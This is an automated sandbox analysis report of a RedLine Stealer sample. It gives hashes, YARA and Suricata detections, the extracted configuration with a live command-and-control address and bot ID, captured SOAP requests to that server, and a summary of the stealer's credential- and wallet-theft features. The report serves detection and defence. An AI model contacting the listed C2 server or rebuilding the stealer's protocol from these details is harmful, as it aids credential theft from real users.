Edit tour

Windows Analysis Report
2BuZaUic3i.exe

Overview

General Information

Sample name:	2BuZaUic3i.exe renamed because original name is a hash value
Original sample name:	9FE5F95D5355185B04B8E78D1C8CEBE4.exe
Analysis ID:	1502265
MD5:	9fe5f95d5355185b04b8e78d1c8cebe4
SHA1:	22d93095f0e585d07489a242bd92c33ee28d7d05
SHA256:	6f2dbdabc774d30faa0ae37b727451912b504326b791a1737c7e4a8c41de85ad
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

2BuZaUic3i.exe (PID: 2104 cmdline: "C:\Users\user\Desktop\2BuZaUic3i.exe" MD5: 9FE5F95D5355185B04B8E78D1C8CEBE4)

conhost.exe (PID: 4320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["207.32.219.79:40826"], "Bot Id": "h4n0m4n"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
2BuZaUic3i.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2BuZaUic3i.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2BuZaUic3i.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
2BuZaUic3i.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ee:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cf:$v2_6: GetUpdates

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1660305995.0000000000C02000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1660305995.0000000000C02000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.1660305995.0000000000C02000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
Process Memory Space: 2BuZaUic3i.exe PID: 2104	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2BuZaUic3i.exe PID: 2104	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 2BuZaUic3i.exe PID: 2104	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x3d452b:$a4: get_ScannedWallets 0x3d33d2:$a5: get_ScanTelegram 0x3d41b4:$a6: get_ScanGeckoBrowsersPaths 0x3d2065:$a7: <Processes>k__BackingField 0x3cf598:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3d1999:$a9: <ScanFTP>k__BackingField
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.2BuZaUic3i.exe.c00000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.2BuZaUic3i.exe.c00000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.2BuZaUic3i.exe.c00000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.0.2BuZaUic3i.exe.c00000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ee:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cf:$v2_6: GetUpdates

Suricata Signatures

ETPRO MALWARE RedLine - EnvironmentSettings Request - Source IP: 192.168.2.4 - Destination IP: 207.32.219.79

Timestamp:	2024-08-31T22:02:04.799389+0200
SID:	2849351
Severity:	1
Source Port:	49730
Destination Port:	40826
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE RedLine Stealer - CheckConnect Response - Source IP: 207.32.219.79 - Destination IP: 192.168.2.4

Timestamp:	2024-08-31T22:02:04.422897+0200
SID:	2045000
Severity:	1
Source Port:	40826
Destination Port:	49730
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - GetUpdates Request - Source IP: 192.168.2.4 - Destination IP: 207.32.219.79

Timestamp:	2024-08-31T22:02:09.217189+0200
SID:	2848200
Severity:	1
Source Port:	49733
Destination Port:	40826
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - SetEnvironment Request - Source IP: 192.168.2.4 - Destination IP: 207.32.219.79

Timestamp:	2024-08-31T22:02:07.656851+0200
SID:	2849352
Severity:	1
Source Port:	49732
Destination Port:	40826
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 207.32.219.79

Timestamp:	2024-08-31T22:01:59.287173+0200
SID:	2849662
Severity:	1
Source Port:	49730
Destination Port:	40826
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound - Source IP: 207.32.219.79 - Destination IP: 192.168.2.4

Timestamp:	2024-08-31T22:02:07.249347+0200
SID:	2045001
Severity:	1
Source Port:	40826
Destination Port:	49730
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) - Source IP: 207.32.219.79 - Destination IP: 192.168.2.4

Timestamp:	2024-08-31T22:02:07.249347+0200
SID:	2046056
Severity:	1
Source Port:	40826
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 2BuZaUic3i.exe

Avira: detected

Found malware configuration

Source: 2BuZaUic3i.exe

Malware Configuration Extractor: RedLine {"C2 url": ["207.32.219.79:40826"], "Bot Id": "h4n0m4n"}

Multi AV Scanner detection for submitted file

Source: 2BuZaUic3i.exe

ReversingLabs: Detection: 95%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 2BuZaUic3i.exe

Joe Sandbox ML: detected

Source: 2BuZaUic3i.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2BuZaUic3i.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.4:49730 -> 207.32.219.79:40826
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 207.32.219.79:40826 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.4:49730 -> 207.32.219.79:40826
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 207.32.219.79:40826 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 207.32.219.79:40826 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2848200 - Severity 1 - ETPRO MALWARE RedLine - GetUpdates Request : 192.168.2.4:49733 -> 207.32.219.79:40826
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.4:49732 -> 207.32.219.79:40826

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 207.32.219.79:40826

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 207.32.219.79 ports 0,2,40826,4,6,8

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49733

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 207.32.219.79:40826

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 207.32.219.79:40826Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 207.32.219.79:40826Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 207.32.219.79:40826Content-Length: 978103Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 207.32.219.79:40826Content-Length: 978095Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: 1GSERVERSUS 1GSERVERSUS

Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 207.32.219.79:40826Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.000000000337E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.32.219.79:4
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000003071000.00000004.00000800.00020000.00000000.sdmp, 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.32.219.79:40826
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.32.219.79:40826/
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000003071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.32.219.79:40826t-dq
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000003071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000003071000.00000004.00000800.00020000.00000000.sdmp, 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp, 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F70000.00000004.00000800.00020000.00000000.sdmp, 2BuZaUic3i.exe, 00000000.00000002.1785668854.00000000030B3000.00000004.00000800.00020000.00000000.sdmp, 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.000000000337E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnviron
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.000000000337E000.00000004.00000800.00020000.00000000.sdmp, 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip
Source: 2BuZaUic3i.exe	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: 2BuZaUic3i.exe	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 2BuZaUic3i.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: 2BuZaUic3i.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 2BuZaUic3i.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.2BuZaUic3i.exe.c00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.2BuZaUic3i.exe.c00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.1660305995.0000000000C02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: 2BuZaUic3i.exe PID: 2104, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Code function: 0_2_0123E7B0	0_2_0123E7B0
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Code function: 0_2_0123DC90	0_2_0123DC90
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Code function: 0_2_05E1D528	0_2_05E1D528
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Code function: 0_2_05E19630	0_2_05E19630
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Code function: 0_2_05E1DA30	0_2_05E1DA30
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Code function: 0_2_05E14468	0_2_05E14468
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Code function: 0_2_05E11210	0_2_05E11210
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Code function: 0_2_05E1EAA8	0_2_05E1EAA8
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Code function: 0_2_05E1EA98	0_2_05E1EA98

